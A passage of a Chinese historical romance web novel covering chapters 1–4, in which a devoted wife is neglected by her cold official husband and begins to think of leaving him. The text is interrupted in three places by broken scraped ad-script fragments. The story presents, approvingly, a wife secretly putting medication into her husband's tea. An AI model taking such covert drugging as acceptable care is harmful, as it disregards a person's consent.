《恋爱脑夫人要和离》 1. 第1章 今年的腊月格外严寒,滴水成冰,折胶堕指。 出门之前,一片铅灰的天空,料想不久就要下雪了,这不,车驾还没抵达皇城西井街大巷,天就下起了鹅毛大雪,车轱辘走到一半坏了,车被困在半途。 车夫被雪刮得眼睛都睁不开,敲着车门道: “少夫人,车子坏了,风雪又大,不若少夫人暂到旁边的酒肆避一避,等车修好,原路折返送夫人回府再安排新的车驾可好?” 戚央央怀里抱了个套着千工绣兰花锦绒的手炉,估量着时辰,只好道:“这样,你们先修车,修好再过来,这边离官衙也没几步路了,我走过去就好。” 旁边的如兰一听哑然,这里还是东市呢,从东市到皇城西井街,驾车也得两盏茶时间,走路怎么就没“几步”路?? “少夫人,世子他今日应当会乘坐别的同僚车驾回来的,风雪这么大,少夫人身子娇弱,怎么能在雪里走那么久呢?”如兰劝道。 “那更不行,”戚央央皱眉认真道:“别人都有车驾来接,就我们郎君没有,怎么可以?” 如兰内心暗暗在吐槽:少夫人啊...那是因为这种天气早上出门当值,别人家但凡有车驾的,肯定坐车驾出门啊,谁家像咱们世子这样,不管刮风下雨都坚决要骑马去上值的? 可她当然不敢在少夫人面前直说,只能在大风雪里巴巴地追在她身后跑。 此时的大理寺衙门,正是散值的时候,官员们三两成群,披上了厚厚的棉衣,有车的上了车,没车的或留在衙门等雪小点再走回去,或干脆就宿在衙门。 裴陆戟是大理寺少卿,位居从三品,同时也是正三品的太子少傅,负责辅导太子功课,平时多在大理寺处理事务,同大理寺的人一起点卯和散值。 平日这个时间,他或回宫辅导太子,或到牢房聆讯,但今日不同,今日是这位裴世子的二十三岁寿辰,东宫那边早早发话让他早点回家。 “裴大人,你今日...没车吧?要不要坐下官的车回去?” 新来的大理寺丞也是世家推选出来的子弟,刚当值没多久,就想着拉拢这位簪缨鼎盛的裴世子。 “王大人就别瞎忙活了,人家裴大人自然是有车,人家裴大人夫妻恩爱,虽则大人平日不喜乘车,但这种天气,他家那位贤淑的夫人是定要亲自来接他的,你就别费心了,是不是啊裴大人?” 大理寺右少卿张白石调笑道。 裴陆戟这才从堆叠了厚厚书文的案几上抬头,瞥了一眼张白石,反唇相讥道:“张大人若实在闲着无聊,不如来帮本官分担一下案子?听说张大人近日在外头置了头家被家中夫人知道,小妾被发卖了不止,有家更是回不得,既然如此,不如多放置心力在公务上。” 张白石被他噎了噎,尴尬地舔舔唇道:“哎!下官哪里比得上大人情深啊,裴家是何等世家大族啊,当今世上怕就只有秦家那位出了名的第一才女堪之相配了,可大人不取矜贵玉兰,偏爱那家常小雏菊,也是京中流传至今一大佳话啊。” 裴陆戟笑笑没再搭理。 在这个衙门中,就只有张白石敢这么时不时逗一逗这位冷淡自持、气度风华的裴世子。 其实在裴陆戟刚进大理寺衙门的时候,张白石也不敢靠近他的。 因为那个时候的裴陆戟,身上弥漫着一种死气,是那种不声不响,但尖锐得随时会刺你一刀,绝望的冷沉之气。 这些年成亲后好了许多,人也经得起开玩笑了,只是他那种对什么依旧冷冷淡淡的态度,有时候还是容易让亲近的人受不了。 “大人,你还不回去啊?刚刚小的在巷子口看见裴少夫人了,下那样大的雪,她还撑着把黄色油伞,似乎在等你。”衙门当值的伙夫刚刚运完一车菜,进来见堂屋门还开着,便忍不住进来多话了一句。 这位玉面清冷的裴世子终于抬起头,将门外的小厮修竹唤进来:“不是让你叫少夫人先回去吗?她怎么还等着?” 修竹张了张嘴,其实刚刚他有进来回禀过,但世子半点也没信,好几次他回禀说,少夫人是自己徒步走过来的,车子坏了没到,世子就不耐道,“她年纪也不小了,怎么还爱玩这种小把戏?你告诉她,我今日确实公务繁忙,她若执意要等,到时候冷病了可别又跑母亲那告状了,公堂政务要紧,我一儿郎岂能像她一介妇人老是想些情`爱之事?” “世子,车没修好,少夫人她走不了。”修竹只能叹气回道。 这下,裴陆戟内心终于动摇,“车真是坏了?” 修竹抱冤,从一开始他就是如实禀的话,世子他自己不相信! 不过其实也难怪,这位世子夫人某种程度上也有世子那种办案时死磕到底的执着精神。 世子是因为运筹帷幄所以逐节击破,而少夫人则完全像是狗皮膏药似的不管好歹,上去就一顿胡搅蛮缠,不达目的非不罢手,对于世子这种性子独的人,其实最怕了。 得知戚央央可能还在外头没走,裴陆戟连忙收拾好东西站起,还没走出衙门,宫里就来人请他跑文华殿一趟。 太子殿下先前刚刚遣人来让他今日早些散值,如今又急急忙忙跑人来请,看来应当是急事,耽误不得。 裴陆戟看了一下外头黑压压风雪交加的天,犹豫了一下,还是对修竹道:“你再去跑一趟,叫她赶紧回去,我进宫有要事。” 说完他转身走,没走几步又折回,“倘若...真是车坏了,你带她进衙门来坐会,等车来了就走。” 然后头也不回走了。 修竹看着自家世子这走得干脆利索不带一丝犹豫的背影,无奈地叹息一口气。 这还是不信少夫人的车坏了才走不了啊... 不过,寻常人家的郎君,下这么大的雪,这种时候也好歹出去见一下自家夫人不是? 他家世子...唉,果真是强扭的瓜不甜,虽说这些年他看着世子在少夫人的改变下越来越好了,但世子始终还是记恨国公夫人插手他的婚事,将自家甥女强行许给他。 修竹怀着忐忑的心,出去将事情如实同戚央央说了一遍。 戚央央露出狐裘披风外的一张小脸都冻得发青了,整个人瑟瑟发抖,黄色油伞被风刮断了伞骨,头发上似乎还沾着雪水,十分狼狈。 但听修竹这么一说,她搓了搓通红的小手,努力笑道:“好吧,我知道了,等车修好我就会走的,你叫他切勿担心我,哦,还有,东市街口的桥结冰了,你让他回家的时候当心点,这个手炉你替我交给他,千万别冷着。” 修竹一看少夫人递来的有兰花绣锦绒的手炉,犹豫了一下推回去,“少夫人你自己拿着吧,世子不用这些的,要不你随奴进衙门坐会,等车修好再走吧?” 戚央央知道裴陆戟不喜欢她进衙门找他,所以摇摇头:“不用了,车马上修好,坐不了一会就走了。” 她坚持,修竹便不好多说。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> “少夫人,刚才车夫派人来说,车修不好,已经派人回府重新换车过来,但是车在路上遇到点小意外,可能还要多等一会。” 如兰扶戚央央到旁边的屋舍檐下暂避,红着眼委屈了,“少夫人刚才为何不进衙门让世子看一看,你为了来接他,都把自己弄成什么样子啊?” 戚央央那身狐裘披风下是全身湿透的衣裳,刚才在风雪中一直赶路,生怕世子没赶得上用药,一不小心就掉进冰水潭,狐裘还是如兰冒着风雪跑去敲开附近成衣铺的门买的。 “让他知道又能做什么?”戚央央青着唇瓣笑道,“还好修竹帮忙把药混入茶水让他喝了,他好不容易稳定下来的病情,可不能再因为误了时辰吃药而复发了。” 因为世子从不认为自己有病,时常不肯吃的药,都是她费尽心思想各种方法塞给他吃的。 近两年来人精神大好,也不会时常认不得人,或者做些伤害自己的事了,但大夫说了,巩固病情的药还得再吃几年,每旬吃一次就好。 算着时间,今日刚好要吃药,早上出门的时候,她本来要哄他把药吃了的,可他不知发什么疯,按着她在圆桌上要了好几次,直把她累得精疲力尽,最后那药也没吃就走了。 “咱们等车来了就快点回去吧,今日是郎君生辰,他不喜欢大办,那就给他在小院中操办,节目和菜肴我都想了好久的,他一定喜欢。” 戚央央喜欢对裴陆戟好,一谈到这些哄他高兴的事,她自个就忍不住开心,人冻得发抖可眼睛里却有光。 裴陆戟从宫里出来时,雪虽然已停,但天色已经昏暗了。 他脸色很冷,一步一个雪印快速地走在宫道离去,身后的徐公公追了上来。 “裴少傅!裴少傅等等!” “公主殿下的意思,想必你已很清楚。” “陛下宠爱六皇子,意欲废嫡立庶,崔氏式微,如今只有与秦氏合作,才能保太子。要让秦家同你们裴家合力保太子,你,必须娶昌华公主。” 戚央央给裴陆戟的二十三岁生辰这天安排了许多节目,从裴陆戟回家的路上就布置,从东成大街的街口开始,她就安排附近住的,穿得暖意洋洋的孩子当街拦马,然后每人上前给裴世子递上一朵近半年她精心在暖房培植的玉兰花。 等回府,他跨进府的第一步,就能看见挂满府邸每一个角落的生辰灯笼,每一个灯笼上都写满她费尽心思从诗词集撰抄下来的祝贺词,她费好几天亲自写上去的。 然后这时候,八角楼上的焰火就会点燃。 一桌子他爱吃的菜,还有二十三份她准备给他的惊喜生辰礼物,她说往后每一年生辰,她都要帮他从一岁开始到当年的生辰全部过一遍,所以二十三岁这年有二十三份礼物,明年二十四岁生辰则有二十四份... 她笑得很高兴地说,愿我们年年岁岁、朝朝暮暮都在一起。 可是今年,孩童等累了,八角楼上的焰火被霜打湿了,饭菜冷了,她等了一夜,他始终没回。 早晨的时候,久违的阳光出来了,洒照在戚央央身上,可她却一点都不觉得暖。 刚刚有府里的人偷偷告诉她,世子好像准备要娶昌华公主,要把她降妻为妾了。 这些年来,一直觉得单方面对裴陆戟好就能快乐的戚央央,突然不快乐了。 她,在想一些事情,然后想着想着,就倒下了。 一场热病,来得汹涌猛烈。 2. 第2章 裴陆戟回到国公府,发现戚央央病倒了。 这时候已经过去了一天一夜,他的生辰也早就过完了。 可他回来的时候,还是看见挂满府里每个角落都能看见的生辰灯笼,和她那刻意临摹他的字迹。 “少夫人她怎么病倒的?我不是让你叫她先回去吗?” 回明兰轩的时候,裴陆戟一边走一边问责修竹道。 一路疾走,可来到游廊拐角,看见亲自端着药的国公夫人甄氏,他脚步便慢了下来,神情也变怠慢下来。 不紧不慢来到甄氏面前时,他行了个礼,“母亲。” “戟儿...”甄氏看见他,眼睛红了,用手帕沾了沾眼角,颤声道:“你快去看看央央吧,她...她病得很严重,从小到大,我从未见她生过这么严重的病...” “母亲言重,不过是普通伤寒罢了。”裴陆戟满脸不耐,语气也冷冷的。 看着他往前,甄氏在身后斟酌着道:“听说...太子殿下要替你和昌华公主扯红线...” 裴陆戟停下脚步,却并不转身,“母亲以为,你能随便把个人塞给我巩固自己在国公府的地位,别人就不会这么做吗?区别就是,母亲随便选个破落户,可人家选的却是位公主。” “你...你什么意思?!”甄氏泪水欲夺眶,“你在嫌弃央央吗?可你不要忘记,当年裴家军上前线缺银粮,是央央她...” “如果我当年娶的是世家之女,前线会缺银粮吗?母亲...” 甄氏在身后泪流满脸,裴陆戟距离寝屋已经没多少步了,却转身去书房换了件衣裳,又匆匆出门。 “世子!世子你不看看少夫人再走吗?”修竹在身后追着问。 裴陆戟顿了顿,然后道:“你去宫里请太医,然后...就说是太子殿下安排的。” 修竹简直无语,他家世子就是这样,刚刚在府外的时候明明着急得要死,回府见了国公夫人就态度大变,连请太医都不敢说是自己请来的。 夜里,裴陆戟都准备在衙门歇下了,突然接到英国公大发雷霆遣人来叫他回去的消息。 他没多耽误就径直拿起桌上根本没打开过、完完好好的包袱,迅速翻身上马,朝回府方向疾奔。 身后怎么赶都追不上的修竹:“......” 回到国公府,堂屋中站着大动肝火的英国公,屏风之后一看就知道坐着默默垂泪的甄氏。 没等英国公发难,裴陆戟立马认错道:“父亲,我知道错了,这就回去看戚氏。” 他语气冷冷淡淡的,听着就让人生气。 英国公大怒,叫住他道:“混账!你这什么态度?你是觉得戚氏配不上你,想把她弃了是吗?” “是不是又有什么关系呢?反正父亲就是觉得,自己亏待甄氏,要拿儿子的婚事来还,既然是补偿亏欠的偿还,父亲敢说,戚氏她配得上吗?” “你!你!!” “母亲她让我娶,我娶了,让我从书房搬回里屋同她同住,我也搬了,子嗣的事,我也尽力了,如今我还有哪一样对不起戚氏的?” “就算有,反正我会想办法补偿戚氏的,父亲就莫要再管我的事了。” 他说完,头也不回大步回自己院。 回到里屋,房中一阵浓郁药香,裴陆戟问如兰,“太医来过了?” 如兰茫然摇了摇头,“没、没有,夫人说城西有家大夫医术挺好的,赶明儿再请来看看,就没让国公爷劳动宫中太医。” 裴陆戟皱了皱眉,转身出外院找修竹。 太医没多久就来了,如兰看着大冷天赶路赶出一身汗的太医,有点意外。 “这...这...”太医擦了擦汗道,“是太子殿下听闻裴少傅家中夫人病了,特遣我过来的,裴少夫人呢?” “太子真是个好人。”如兰感叹一声,然后领太医进屋。 裴陆戟大晚上站在院子里吹冷风,看着院里被风吹得此起彼伏的红灯笼,和上方一行行形神毕肖的字迹: “愿君春生夏明朗,?秋祺冬瑞康。” “愿郎君岁发长欢愉,?万事皆胜意。” “万物更新,?旧疾当愈,?长安常安。” “愿裴郎一切尽意,?百事从欢,浅予深深,长乐未央。” ...... “浅予...深深,长乐...未央?”他念了起来,随后暗骂:“笨蛋!” · 戚央央醒来的时候,一睁眼就看见裴陆戟。 原本她应该高兴的,但如今她心里悄悄起了计较。 不是计较他要把她降妻为妾,他本来娶她就并不情愿,她虽然喜欢盲缠他,但脑子并不是真的笨,当初嫁给他时,就想好了,如果到时候他还是接受不了她,那就分开。 所以这些年来,她都是怀着每天都是最后一天当他夫人的想法,在待他好。 她能当他五年的夫人,让她能为自己喜欢的人付出,就已经足够了。 可是,她原以为自己的幸福是“只管付出,不需要任何回应”,是错的,她以为的自己“不需要任何回应”只是因为裴陆戟这些年来,虽不喜她,但也没有再找别人,让她错以为这些“沉默”和“隐忍”,就是一种接受。 所以吧,其实她是在意的,她是希望“回应”的。 当她得知他很快要另娶他人,要将她“降妾”,她那颗仿佛永远保持着热情的心,原来也会枯竭的。 “郎君,你...”她努力扬起笑,本想在最后一次同他好好说说话,然后就要谈谈一直放在她心上的,关于“告别”和“结束”的事。 谁料,裴陆戟从她醒来开始,火气就一直很大。 “戚央央,你为什么要这么做?” 他以前称呼她,总是疏离有礼的“戚氏”,如今生气连名带姓叫她“戚央央”,反倒是显得有些人气了。 “我?我做了什么呀?”央央心里想着是巩固病情的药放茶水的事被他发现,一脸的心虚。 “避子药,别装模作样了。”他深吸一口气。 刚刚太医给她诊断完,就把这事同屋外的裴陆戟说了,裴少夫人是因为一直在服用避子药,尤其最近服用的量大,加之天冷受寒,才会发病得如此凶险。 “你假惺惺地,故意让母亲知道我晚上很少和你...然后自己又偷偷在喝避子药,到底打的什么居心?” 这下戚央央终于明白,为何他前段时间总缠着她要,她以为自己开始有了点希望,他虽然嘴上说着不爱,但肉`体上还是离不开,可原来并不是... 那也好,最后一点幻想都粉碎了,她也该回归初心,该放手的时候就该洒脱些的。 “我不知道怎么和你说,我没有故意让母亲知道我们...”她还是不希望自己喜欢的人在最后时候会 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 因误会而难过,遂尝试解释道:“可能是因为她自己乱猜的,也可能是我多年无子,她着急之下想试探你,结果...” “够了,你觉得我想听这些吗?”他冷冷道。 他当然知道不是她说的,他还知道甄氏在他们屋里安插了人,一到深夜就附耳在门外倾听声音。 “那你想听哪些?”她有些着急。 “避子药,为何要喝。” “哦,那是因为...”她说到一半顿了顿,声量放小了,“那是因为你不喜欢我,我...我不能再厚颜无耻地...要求你跟我共同孕育一个,你不接受的孩子。” 听了这话的他,脸色阴沉得更可怕了,“好啊,既然你也知道我不喜欢你,那你就自请下堂吧!!” 说完这话,他就黑着脸拂袖而去。 身后的戚央央幽幽地叹了口气,看吧,人家现在已经把话说出口了,这回自己想耍赖也不行了呢。 “砰”一声摔门出来后,修竹已经在门外候着追了出来。 “世子!世子!”刚才里头动静闹得这样大,修竹也听了个大概, “世子!你听小的说...” 裴陆戟蓦地停住,修竹差点撞上去,摸了摸鼻子。 “你一早知道少夫人在喝避子药,所以没去把太医找来是吧?” 面对世子的责问,修竹支支吾吾:“其...其实小的也是最近碰巧遇见如兰在熬药,才知道的,叫了太医的话,太医肯定号脉号得出来,他们也不敢对世子有所隐瞒的...小的...知道世子心性很傲,肯定受不了少夫人私底下这么做...” “可...可世子你怎么可以...可以对少夫人说那样的话?要是少夫人当真自请下堂,那...” “她不会那么做的。”裴陆戟答得斩钉截铁,“而且,她若是自请下堂,我也可以拒绝。” 不怪裴陆戟会有“她绝不可能离开”的错觉,就连戚央央自己,也觉得自己此生定不可能主动离开他。 因为她是那么爱他,从年少被接来国公府投靠姨母开始,就对他情有独钟,阖府上下的人都知道戚家的表姑娘爱裴世子爱到入骨。 彼时有别的世家公子诋毁世子,说他是哑巴,是不会笑不会哭,时而还会发疯打人的怪物,那年戚央央还不到十岁,小丫头长得小小一个,竟然蛮横地踩上门将那几个世家公子都咬了。 后来闹得风风雨雨,那几家人来国公府堵人责难了,戚央央为了不连累姨母和国公府的人,就开始装疯,说自己得了疯狗症,不是存心咬人的,然后在大街上哭得楚楚可怜请他们不要惊动国公府的人,说自己会一个人离开。 当时大街上人来人往的,大家都同情这么小一个孤女,又得了那样奇怪的病,开始纷纷责难那几家人不该这么刁难一个生病的小姑娘。 那几家人脸色难看,听说她有疯狗症,也顾不上讨公道了,慌忙回去找大夫帮自己被咬的儿子看症。 打那以后,姨母心疼她,骂她鲁莽,说是这么一闹,以后等她及笄,还怎么给她找好人家。 她笑得傻傻地看着不远处被国公爷罚抄书的世子,说她可以一辈子不嫁人,只要能待在裴哥哥身边就好。 “十年了...”坐在床上端起苦药的戚央央喃喃道:“从我来国公府到现在,这份感情不知不觉已经占据我人生十年之长了,现在...好像是时候结束了。” 3. 第3章 半个多月之后,戚央央的病就慢慢调养好了。 这半个多月以来,裴陆戟甚少待在府里,偶尔几天被英国公气急败坏叫回来,他也是睡在书房,连见她一面都不肯。 每回他生气,戚央央都不会主动出现在面前惹他心烦,但会亲自做许多好吃的找人送到他面前。 她总说,人生气时要多吃百合羹、萝卜糕、山楂酥,因为百合、白萝卜以及山楂都有顺气消气的功效,另外,多跟八字带水的人聊天,也可以消气,她就是八字带水的人。 这段时间,每当修竹把食物端来,他都要看几遍,用筷子在食物里头翻,翻来覆去把食物都搅烂,然后就会撂下筷子,也不吃。 “世子,你好歹...” “最近...府里没有采买百合或萝卜吗?”他打断道。 修竹愣了愣,“世子你想吃百合和萝卜吗?可你以前...不是最讨厌了?” 他记得以前少夫人最爱用百合、萝卜和山楂做点心给世子吃,可世子每回连碰都不碰。 “不是,”他讪讪地捡起案上公文,看的依旧是半个时辰前那一页,“以后但凡有百合、萝卜、山楂的食物,都给我扔出去。” 这天是年廿八,距离过年没几天了。 裴陆戟本来打算做完手头的事就回府一趟,好歹今天要扫尘清晦气,总不能一年到头都在衙门里。 可不料,刚想走,昌华公主就来了。 他是去巡视牢房的时候听闻公主殿下驾临,匆匆赶去前堂的,谁知去到后,却看见那个在他眼前销声匿迹了好久的裴少夫人来了,还大大方方坐在昌华公主身旁,二人一副相谈甚欢的样子。 “你来了,不是告诉过你,不要来这里找我吗?”裴陆戟一副冷冰冰的态度。 一个敬语也没有,显然是对戚央央说的。 戚央央脸上恭敬的笑容消失,站起来,端着盘子朝他走近,“我是来给郎君送糕点的...” 裴陆戟一想到她这些日子来的忽视,突然生恼,语气冰冷:“以后不要再做百合羹、萝卜糕、山楂酥了,我...” “我知道,你不吃。”戚央央笑了笑,“可我以前做这些送来,你其实可以跟我说的。” 裴陆戟冷睨她,“跟你说什么?说我不吃这些,让你换别的吗?成亲那天我就告诉过你,不用做什么讨好我,你一直都会是裴家少夫人,可你为什么不听?” 央央默了默,“所以我之前做了那么多,其实你并不喜欢,反而很讨厌是吗?” “你从不允许我来衙门找你,是因为这里是你唯一可以躲开家里、躲开我的地方,你不希望这片净土被我污染,是吗?” 裴陆戟看她的眼神稍有松容,正想说点什么,可这时,却见她如往复一样,颓落之后立马振作起来,朝他笑得璀璨, “那也没办法,反正我已经来了,也已经惹恼了我家郎君,就只好请郎君多担待,我会补偿郎君的。” 裴陆戟脸色肉眼可见地变好,但仍旧冷冷地扔下一句“随便你”,然后跟昌华公主二人移步到旁边屋里说话。 等他与昌华公主说完了话,出来想与她一同归家,发现隔壁屋里的人早已走了,只剩修竹蹲在廊下吃那盘少夫人带来的糕点。 裴陆戟阴着脸走过去,“少夫人呢?” 修竹吓了一跳,手里捏着的糕点掉了出来,“少夫人?她走了呀,世子不是嫌她在这碍事,所以她回去啦。” “哦...少夫人临走前还说...”他边捏糕点吃得满嘴糕屑,边学舌道: “请替我转告郎君,今晚我会告诉父亲和母亲,说郎君正在办一个大案子,衙门这边没了郎君可不行,请郎君勿要挂心,我会照顾好父亲和母亲,今夜,你就好好同你心仪之人,在一起。” 听完这话,裴陆戟的脸顿时黑得像几年没洗的灶,匆匆走出衙门,发现外头又在下雪,可路边却留了一辆车给他。 他以为戚央央在车上,一下就掀帘上去,没想到里面没人,里头却布置得很敞亮。 车上四个角分别挂了很亮的八角宫灯,车座上垫了厚厚的褥子,车窗用厚纸糊得严严实实的。 这时吃干抹净的修竹拍掉衣裳上糕屑走来,“少夫人还说了,若郎君想回府,这么冷的天,就不要骑马了,坐这辆车回去。” 十一岁那年,从羌北回国后,裴陆戟就不能独自待在封闭的、漆黑的环境里。 所以,他回国后第一次坐车驾,是十三岁那年刚入仕,在翰林院当编修。有一次,京城下起了大暴雨,水直接淹到了东府大街,那会恰好他伤寒未愈,又着急回宫看自己刚纂修好的史书,国公夫人甄氏便让他坐轿子去。 当时裴陆戟死也不肯坐轿,坚持冒着大雨骑马,结果雨太大,不止马不肯走,他还差点从马背摔下来,幸好英国公及时接住。 这时,戚央央头顶一双丫髻,眼睛明亮地跑过来牵住裴陆戟的手,说要跟裴哥哥一起坐轿子。 “哥哥,我还没去过你当值的地方呢,能带我去看看吗?” 她可怜巴巴地哀求他。 “不能。” 先前因为她在外头胡作非为的事,他被英国公斥责没看顾好妹妹,他对她颇是烦厌。 “可是我会乖乖的,我就待在轿子里等你,远远地看一眼好吗?我保证...保证你带我去了,以后我再也不偷跑出府乱逛,也不会爬到隔壁尚书大人家摘柿子,更不会打侍郎家的小胖子了!” 裴陆戟黑着脸睨了她一眼,不说话。 没说话戚央央就默认他同意了,赶紧拉着他上轿子。 自从羌北回来后就再也不肯坐轿子坐车驾的裴陆戟,甄氏想了许多办法都没用,这会竟轻轻松松被她的小甥女拉上轿子,英国公夫妇都很惊奇。 可是轿子坐到半路,正是雨下得大,轿子里空间被雨水声衬托得越发逼仄之时,裴陆戟突然握紧自己的喉咙,喘`息声越发急促,脸憋得通红,像是快将呼吸不过来的样子。 他又回想起在羌北那个死人窟里,洞内就一点点大,到处都是腐朽尸骨呛鼻难闻的气味,他在里头饿急了,为了让自己能活下去,连腐肉都不得不吃。 就在他快将呼吸不过来,胃里翻腾着快要吐出之时,一双温热的软乎乎的小手握住了他。 “裴哥哥,你闭上眼睛数到十,我送你一件礼物好吗?” 低头看见小姑娘澄亮 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的眼睛,他不愿让她小瞧自己,便强作镇静,依言闭眼。 小姑娘替他数了起来。 “一...二...三...” 她一边轻声数,一边用嫩嫩的手指在他手心里写划。 “四...五...” 很奇怪地,当他的注意力集中在她指尖写划的地方,那种呼吸不顺的惶恐感觉就渐渐消散。 “六...七...八...” 轿外的暴雨狂风慢慢地也被驱逐出杯盘狼藉的荒漠。 “九...十!好啦,裴哥哥请睁眼。” 耳边是小姑娘清脆敞亮的声音,他忽然想到春日里枝头绚烂的莺啼。 睁眼却看见一个盛装着点点萤光流窜的琉璃瓶放在自己手上。 小姑娘笑了笑:“裴哥哥,以前我怕黑,爹爹会经常给我抓萤虫,以后我也经常给你抓,这样你上哪去,只要带上我就不怕啦。” 那之后,他每逢需要坐轿子坐车驾出门,带着她,慢慢就没那么怕了,再后来,他也能和别人一起同乘了。 车外的风声呼呼地刮,车行进到一半,修竹听见车厢内发出碰撞声,勒令车夫停下来,自己敲开车厢门探头道:“世子...需要小的进来陪...” 裴陆戟额角隐有红淤,目光一寒,吓得修竹不敢往下说。 “哦,对了,少夫人说车座旁木匣子里有东西要给世子的,让世子打开看看。” 车辆继续前行,他打开木匣,捧出了里头的东西。 是一个装满萤石的琉璃瓶子,这是一种黑夜里能发光的矿石。 冬日里萤虫死绝,用萤石来代替倒也相宜,裴陆戟心情转好,并无察觉到哪里不妥,轻轻将琉璃瓶子收进袖子帖服藏着。 回到府的时候,因为路上风雪大耽搁了一下,此时时辰已晚,但鹿鸣苑的院门前依旧照例给他留着一盏明亮的珐琅彩绘宫灯,不管他是否会回府,风雨不改。 “少夫人呢?”由于他收到的那个萤石瓶子,今夜他语气稍霁地竟主动问起了戚央央。 “禀世子,少夫人她回来没多久就歇下了。”伺候戚央央的小婢女跪在屋外道。 裴陆戟看着灯火熄灭的里屋,愣了愣,“今日...她不是要贴春联吗?” 自打成亲后,戚央央每一年年廿八都缠着他,让他帮忙贴屋里最高的那张“福”字贴。 她总是笑出一口白牙道:“自己屋里的春联要亲自动手贴,才有意义,下人贴的福气都在下人那呀,我们自己屋里的得自己贴。” 每年她都要等他回来,帮她贴最高的那张“福”字,但是今年,她竟然早早歇下了。 “少夫人让奴婢们架着梯子都贴好了。”小婢女回道。 裴陆戟内心感到一阵难言的闷燥感,但他不知是为什么。 婢女又问:“世子今夜可是要少夫人伺候?奴婢这就进去通传。” 他一甩袖,闷闷道:“不必。”随后转身大步往黑漆的书房方向。 可只走了两步,看着前方空洞无比的书房,又停了下来,“明日等你们少夫人醒来,就告诉她,我有两件事要同她说,让她等我回来。” “是。” 4. 第4章 年廿九这天开始,宫里有宫宴,但只是君主款待臣子的宴席,年三十晚上才设家宴,臣子可以携带家眷参与。 昨天戚央央帮着姨母在府中操持年事,正是看账看得累的时候,姨母过来夺了她的账本,让她去衙门接世子。 “你好久没有去衙门了,是戟儿不允你去了吗?”甄氏担忧道。 戚央央很快就笑了起来,“母亲说什么呢?郎君怎会不允?他只是不希望儿媳太劳累罢了。” 在甄氏面前,戚央央从来只会报喜藏忧,有时还会故意撒谎替裴陆戟隐瞒,甄氏看的时间长了,又怎会看不出来? 于是,她接过她的工作,给她备好车驾,“今日戟儿不用去东宫了,应该很早散值,你夫妻俩趁机去城西新开的那家奇香楼尝尝那特色名菜吧。” 说完她还塞了她好几锭金锭,“母亲请客,不许不去。” 戚央央只好奉婆命去了。 昨日去完大理寺衙门,回来又打点了一些事情,累极了便早早睡下,睡醒门口的小婢女就来禀报,说是昨夜世子回来了,见她歇下又走了,还交代了今夜等他回来有事情要说。 “嗯,正好我也有话要同他说呢,他有没说什么时候回来?” 她问。 婢子答道:“没有呢,不过奴婢听修竹说,陛下今日会在宫中宴请臣子,怕是要等晚宴过后了。” “好吧。”戚央央平静地接受。 成亲这些年,她等他的日子够多了,如今也不差这一次半次的。 她大概能猜到他要跟自己说的到底是什么事,她正好也是为这件事想找他好好说说,那就再等他这一次吧。 今日,裴陆戟在大理寺跟着大理寺卿审犯时,破天荒头一回走神了。 待他回神,大理寺卿谢绍杰和右少卿张白石都在看他。 谢绍杰那老头捋着胡子纳罕地盯着他,调笑道:“少仲今日难得没对犯人咄咄紧逼,难道是对囚犯生出怜悯之心了?” 囚犯是邢部一位堂主事的妻子夏氏,夏氏是个盲女,案发当日她和死者,也就是她丈夫待同一屋里,被顺理成章当成嫌犯抓了。 虽然有人证,有动机,却迟迟找不到物证,被移交来大理寺之前,犯妇人已经受过刑,却矢口否认,如今只能想办法撬开她的口,此案才能完结。 邢部的人转交过来是看中大理寺这边有善于刑讯的裴陆戟在,闻听裴陆戟的刑讯技巧堪称一绝,就连京城第一恶贼娄义都受不住他的痛苦折磨而开口认了罪。 邢部的人与死者有同僚之情,对夏氏简直恨之入骨,恨不得立马能给她定罪。 裴陆戟回过神来,忽然想起先前彭华水利工程一案中,工部员外郎一家被问斩,戚央央在西市遇见行刑,回来后眼含泪花好几天不同他说话。 甄氏跑来烦他,他烦不胜烦,只好问她是怎么了,随后她哭着说,“员外郎一个人犯了错,同他们家的女眷有什么关系?” “他贪了国库的银钱,他家中的女眷吃穿用的都是老百姓的血汗钱,既享用了,就没有不担责的道理。”他冷淡道。 “可员外郎家的六姑娘一出生就被他们家老夫人认为是灾祸,送至外宅不闻不问十几年,她吃穿用的钱都是自己绣花赚的,哪曾用过他们家一分一毫?若说有关系的,大概就是骨子里流着他家的血,但如若能让她有选择,她选一百次都不会愿意成为他家的人,如今他们家获救,为何连她也要问斩呢?” “国有国法,律例规定是这样,你别闹了。”他眉心轻蹙。 那次是戚央央第一次在他面前发脾气,“那为何上回户部家的小公子,你们能尽力给他减刑呢,他爹不是犯了同样的罪行?难道就因为他是男子,而且在朝中担有职务,和你们某些人有同僚之情,所以值得被救?女子就不该浪费气力去救?因为不值得吗?” ...... 见他又开始失神,张白石取了刑具上前道:“裴大人,今日邢部的人也来了,就在外头等着消息,他们都是听闻大人你擅长刑讯拷问,即使犯人是女子也不会手软,才寄厚望于大人你的。” “吴氏的老太和族人都守在大理寺外面了,这个吴氏虽然算不上大族,但以前在丰郡还是颇有影响力的,倘若处理不好这桩案子,我们也会很麻烦。” 裴陆戟良久没接刑具,片刻,他淡道,“案子没有物证,而且疑点重重,按规不能进行刑讯,吴氏人和邢部的人来了又怎样?我们也只能按规矩办事,没有如此草菅案子的道理。” 随后,他请求谢大人给他单独聆讯的时间。 他走向犯妇人夏氏的刑房,在夏氏耳边说了几句话,只见夏氏听了后,立马露出惶惧崩溃的表情,先前在邢部的牢狱遭受那么多次拷打始终矢口不认,只字不提,如今终于肯哭着同裴陆戟交代出一些重要线索。 裴陆戟拿着口供从刑房走出来,谢绍杰看着口供上所述,惊愕地捋了捋胡子,“如此看来,此案确实值得重新审查了。” “下官先前查过,夏氏的一对儿女确实这段时间被吴家的人送走,去向不明,而且死者当时死前显然是搏斗过,夏氏是盲人,又是女子,这本来就疑点重重,先前夏氏不肯承认自己杀人,又对这案子相关的事只字不提,只能是受人胁迫,要成为别人的替罪羔羊,此时只需对她恐吓几句,不怕她不说。” 裴陆戟道。 谢绍杰捋着胡子点点头,对这个学生露出满意和赞许的目光。 结束审讯后,张白石三两步追上来,“少仲兄!少仲兄等一等!” 他喘着气道,“我很好奇,你刚刚到底对那夏氏说了什么?” 